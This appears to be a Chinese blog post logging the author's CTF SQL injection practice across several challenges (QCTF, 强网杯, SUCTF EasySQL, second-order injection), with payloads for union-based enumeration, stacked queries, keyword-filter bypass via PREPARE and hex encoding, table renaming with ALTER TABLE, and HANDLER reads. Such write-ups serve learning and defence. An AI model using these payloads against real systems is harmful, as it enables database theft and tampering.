今天开始记录我刷sql注入方面题目的一个过程和心得,希望自己有所收获吧,先看这一题,有个搜索框,测试一下,果然存在sql注入漏洞
继续测试,我们输入
hello' order by 1# //无报错
hello' order by 1,2# //无报错
hello' order by 1,2,3# //无报错
hello' order by 1,2,3,4# //报错
由此可以确定union后面需要跟三个元素,因此我们输入
hello' union select 1,2,3#
说明union后的第2、3列被显示出来,因此我们可以利用这两列获取当前数据库、当前数据库所有列表名、列表所有字段名
1)获取当前数据库名称
hello' union select 1,database(),3#
得到当前数据库名news
2)获取表名
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
得到表名news、secret_table
3)获取字段名
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#
得到字段名id、fl4g
很明显我们需要得到news数据库下的secret_table表的fl4g字段
在搜索框输入
1' union select 1,2,group_concat(id,fl4g) from secret_table#
得到flag:QCTF{sq1_inJec7ion_ezzz}
如果当前数据库没有找到flag,可以爆出全部数据库
1' union select 1,2,group_concat(schema_name) from (information_schema.schemata) #
再来看看强网杯的某道题,看大佬的结题方法有四种,也是收获颇多,在这里记录一下。首先按照正常方法来,已经报错了
大意应该是过滤了select,绕过一下,好的发现绕过不了,不管是编码还是注释都不行,因此这个题使用堆叠注入。
什么是堆叠注入?
就是将一堆sql语句叠加在一起执行,使用分号结束上一个语句再叠加其他语句一起执行。
一般select等被禁用时,可以考虑堆叠注入和show函数,
查看数据库名:
1';show databases;#
查看数据表:1';show tables;#
查看表结构的几种方法:
方式一:1'; show columns from tableName;#
方式二:1';desc tableName;#
#注意,如果tableName是纯数字,需要用`包裹,比如
1';desc `1919810931114514`;#
因为select关键字被过滤了,所以采用如下几种方法来绕过:
方法一:
通过预编译的方法来拼接关键字,
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#
方法二:
由于select被过滤了,因此将select * from ` 1919810931114514``进行十六进制编码,再构造payload。
我们可以直接将
select * from `1919810931114514`
语句进行16进制编码,即:73656c656374202a2066726f6d20603139313938313039333131313435313460
替换payload:
1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#
同时,我们也可以先定义一个变量并将sql语句初始化,然后调用
1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#
方法三
最后一步(第8步)也可以通过修改表名和列名来实现。我们输入1后,默认会显示id为1的数据,可以猜测默认显示的是words表的数据,查看words表结构第一个字段名为id我们把words表随便改成words1,然后把1919810931114514表改成words,再把列名flag改成id,就可以达到直接输出flag字段的值的效果:
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
然后通过1' or 1 = 1 #
,成功获取到flag
方法四
此题还可以通过handle直接出答案:
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;
题目做完了现在来学习知识点,其实我有点看不懂那个修改数据库表明的sql语句的格式,于是我问我chatgpt,终于是很清楚了
还有就是什么是handle
handle不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据,格式:
打开表:
HANDLER 表名 OPEN ;查看数据: HANDLER 表名 READ next;
关闭表: HANDLER 表名 READ CLOSE;
---------------------------------------------------------------------------------------------------------------------------------
今天做了一题并不简单的[SUCTF 2019]EasySQL,运用堆叠注入查到数据表,但是查表就报错了,显然是被过滤掉了
看到大佬通过查看源码就能猜到后端代码,我真的表示被自己菜哭了,下面是大佬通过输入1到9可以回显,但是字母不能回显,所以猜测1意味着true,所以用的是||,||意思是只要有一个为真就是真
select $post['query'] || flag
所以大佬利用sql_mode的方法将逻辑或改为与,构建playload:
1;set sql_mode=PIPES_AS_CONCAT;select 1
也是成功拿到flag,以下是常用的sql_mode
今天又做了一道sql注入绕过的题目,非常的恶心,一直被绕过,直接附上大佬链接【极客大挑战2019】Baby SQL解题_[极客大挑战 2019]babysql-CSDN博客,详细讲了怎么双写进行绕过
---------------------------------------------------------------------------------------------------------------------------------
BUUCTF-[极客大挑战 2019]HardSQL 1-CSDN博客
这是关于sql报错注入的,看大佬的文章真的能受益匪浅
今天做了一道sql二次注入的题
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入
二次注入,可以概括为以下两步:
- 第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。 - 第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理
用户名:1' union select database()#
密码:111
爆表名
1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'#
爆列名
1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#
字段
1' union select flag from flag#
参考这篇文章[October 2019]Twice SQL Injection_october 2019 twice sql injection-CSDN博客
原文链接:https://blog.csdn.net/weixin_38832257/article/details/126395256
原文链接:https://blog.csdn.net/m0_56691564/article/details/128123951